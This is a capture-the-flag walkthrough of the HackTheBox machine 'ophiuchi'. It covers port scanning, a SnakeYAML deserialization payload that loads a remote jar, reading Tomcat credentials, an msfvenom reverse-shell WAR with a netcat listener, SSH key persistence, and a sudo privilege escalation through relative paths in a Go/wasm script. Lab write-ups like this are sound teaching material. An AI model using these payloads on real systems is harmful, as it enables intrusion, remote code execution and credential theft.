![58280a3ff0bdf054612638eda36f1de4.png](a043ee3973424029b54bd7ceaf6041f1.png) ### Port Scanning and General Enumeration (Nmap, FFuF) Starting off with an all ports scan ``` nmap -p- -T4 -oN nmap/allports ``` All ports can shows `22` and `8080` up, so we can target those ``` nmap -p22,80 -T4 -sC -sV -oN nmap/targeted Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 04:16 EDT Nmap scan report for Host is up (0.058s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA) | 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA) |_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519) 8080/tcp open http Apache Tomcat 9.0.38 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Parse YAML Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds ``` We can see that **Apache Tomcat 9.0.38** is running on port **8080**. Let's check it out ![54b042a71277fda5428a8c3e6a49f742.png](ff931e436e944d65a59e7e44e608335e.png) Clicking parse gives us an error ``` Due to security reason this feature has been temporarily on hold. We will soon fix the issue! ``` **FFuF** on the main site with the [Seclists common directory wordlist](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt) matching all filtering 404 ``` ffuf -u -w /wordlist.txt -mc all -fc 404 Servlet [Status: 200, Size: 0, Words: 1, Lines: 1] host-manager [Status: 302, Size: 0, Words: 1, Lines: 1] manager [Status: 302, Size: 0, Words: 1, Lines: 1] test [Status: 302, Size: 0, Words: 1, Lines: 1] ``` `/host-manager/` and `/manager` are basic auth login pages for **tomcat** and default creds do not seem to work. **POSTING** to `/Servlet` with no data triggers an error ``` curl -X POST -d 'data=' ``` ![3c63c7813bce7d719edb2dc1e4d37ba0.png](9e6a1432181d4e819628080a25b70402.png) While researching **SnakeYAML** I found a [link](https://www.fatalerrors.org/a/analysis-of-the-snakeyaml-deserialization-in-java-security.html) that describes a deserialize vulnerability in detail --- ### Access (SnakeYAML Deserialization Vulnerability, msfvenom, Tomcat, Artsploit yaml-payload) After studying the link about the SnakeYAML Deserialization Vulnerability I did some research on the best way to create a payload and ran in to [artsploit yaml-payload](https://github.com/artsploit/yaml-payload) First, let's check to see if we can actually use this against the site. Remember, the error said that it was down due to a security issue. Fire up a web server with something like python ``` python3 -m http.server ``` And send the test object from the github page as data in a post request (I used **BurpSuite**, you can use whatever you like to send post requests) ``` data=!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://YOURIP:YOURPORT/"] ]] ] ``` Andddd... ![79946de572ee574ba641620be14667a1.png](1e38a8e117574df7aeec67d9b4f09273.png) Even with the error, it works! > This is where you can deviate. I didn't get a reverse shell with this method on my initial compromise of the box, it was just an avenue which allowed me to get one. There are plenty of ways to get a shell that I just didn't see initially, so I'm going to outline the way I did it Let's hop back into the yaml-payload tool and go over it. First, we need to edit the `AwesomeScriptEngineFactory.java` file in the `src/artsploit` directory. I'm going to make the server start a python webserver to give me access to the file system. Here's the important function: ``` public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("python3 -m http.server"); } catch (IOException e) { e.printStackTrace(); } } ``` Now you need to compile it using ``` javac src/artsploit/AwesomeScriptEngineFactory.java ``` And ``` jar -cvf yaml-payload.jar -C src/ . ``` Now just pop open your own python webserver `python3 -m http.server` and point the object you used earlier for testing at it. Here's what it should look like now: ``` data=!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://YOURIP:YOURPORT/yaml-payload.jar"] ]] ] ``` Send it off and... ![576c923ddd0321e8d2fbaf22e00105cf.png](8856b8fb058d48b6a325f5416ecf0c8f.png) See if we have access by browsing to `` ![2bc11f25efe1fbd44076b5abcc06ca69.png](080f034b099341c5895afe3bf5e92aa1.png) Nice! We can do some enumeration, download `/etc/passwd` etc, but what we're really interested in is the credentials to log into the `manager` app for **Tomcat**. Reading the docs, it says that the credentials are stored in an **XML** file in the `/conf` directory. In this case it's at `/opt/tomcat/conf/tomcat-users.xml` which has this entry ``` <user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> ``` We can now log in to `/manager` with the credentials `admin:whythereisalimit` ![3e9e797e38886589c78811c679aa89fd.png](062a73d6c2b64c02a46df68703b21ccd.png) Now that we're here, we can deploy a malicious **WAR** file to give us a shell. Let's use **msfvenom** to generate one ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f war -o revshell.war ``` Choose the **war** file you just generated and click **deploy**. You should see something like ![56f3c4cdca113b3d393df0da89e13a28.png](4a74d636b9674b1cbe94d47b21bf2e60.png) Start a listener `nc -lvnp 4444` and navigate to `` ![4f13f2b9eed18110825320844eaa3f38.png](251a3792bf61438394d8d8110f1e322f.png) Let's stabalize this shell a bit ``` python3 -c 'import pty; pty.spawn("/bin/bash");' export TERM=xterm ``` ![9f04dd738ac34d37ba2189783688f748.png](8d8019b99cf5485a89f0902c5edbb950.png) That should be good enough for now. From here we can do some more enumeration, but we're just the `tomcat` user. Let's read the `/etc/passwd` file to see if there's a user we can hop to ``` cat /etc/passwd | cut -d ':' -f 1 . . . systemd-coredump lxd tomcat admin ``` **admin** user huh? What if the password for the **admin** user is the same as it was for the `/manager/` app? It happens more often than you think... ![216ea715b021e2b5e1dedf233dff6b9d.png](39849edba9724f888f1ab3fcd122f52a.png) ... well, capture the user flag ![8ca5c7e6f9d2b24fa88fdb17efa7c62d.png](39bcbed2363f4e6ebd71be02d840c00a.png) --- ### Privesc (golang, wasm, wabt, wasm2wat, wat2wasm) First things first. Let's get us a better shell. ``` cd ~ mkdir .ssh touch .ssh/authorized_keys chmod 700 .ssh && chmod 600 authorized_keys echo 'YOURPUBLICKEY' >> .ssh/authorized_keys ``` Create a key pair if you don't already have one using `ssh-keygen`. Now we can **ssh** into the box. `ssh [email protected] -i id_rsa` That's way better. So, we're the user **admin**. What can we do? Let's start with sudo ``` sudo -l User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go ``` Well, let's see what `/opt/wasm-functions/index.go` is ``` unc main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info"] result,_ := init() f := result.String() if (f != "1") { fmt.Println("Not ready to deploy") } else { fmt.Println("Ready to deploy") out, err := exec.Command("/bin/sh", "deploy.sh").Output() if err != nil { log.Fatal(err) } fmt.Println(string(out)) } } ``` This reads the file `main.wasm`, checks if the result.String() is equal to '1'. If not, prints 'Not ready to deploy', but if it is, it runs `deploy.sh` The interesting thing about this script is that it doesn't use direct paths. Example: `/home/user/file` vs `file`. That means this program will load `main.wasm` and `deploy.sh` from wherever the script is called. If we call it from `/home/user` then it will look in `/home/user` for those two scripts! Let's use a tool called **WABT** to anaylize the `main.wasm` file. Copy it to your machine and browse over to [https://webassembly.github.io/wabt/demo/wasm2wat/](https://webassembly.github.io/wabt/demo/wasm2wat/) and upload the file. You should see something like this ``` (module (type $t0 (func (result i32))) (func $info (export "info") (type $t0) (result i32) (i32.const 0)) (table $T0 1 1 funcref) (memory $memory (export "memory") 16) (global $g0 (mut i32) (i32.const 1048576)) (global $__data_end (export "__data_end") i32 (i32.const 1048576)) (global $__heap_base (export "__heap_base") i32 (i32.const 1048576))) ``` The interesting part is `(i32.const 0)`, change that `0` to `1`, (because we need the variable to be '1'). Copy the code and head on over to the other tool **wat2wasm** [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) Simply paste the **wat** code from before into the **wat** box and download the new file. Change the name from `test.wasm` to `main.wasm` and transfer it back to the box and into **admin's** home directory That was the hard part, the rest is easy! We just need to write a new `deploy.sh` script in **admin's** home directory that can do whatever you want it to do as it will be run as **root**. Personally, I just had it cat the root flag ``` #!/bin/bash cat /root/root.txt ``` Run it and claim your prize! ![ac8821d6bb5546d1e71eaaa8b480a5b1.png](a0dcc1d83ecf40fdb7198818c33a35b7.png) --- Back to [[HackTheBox Index]] Tags: #htb #hackthebox #snakeyaml #deserialization #msfvenom #java #yaml Related: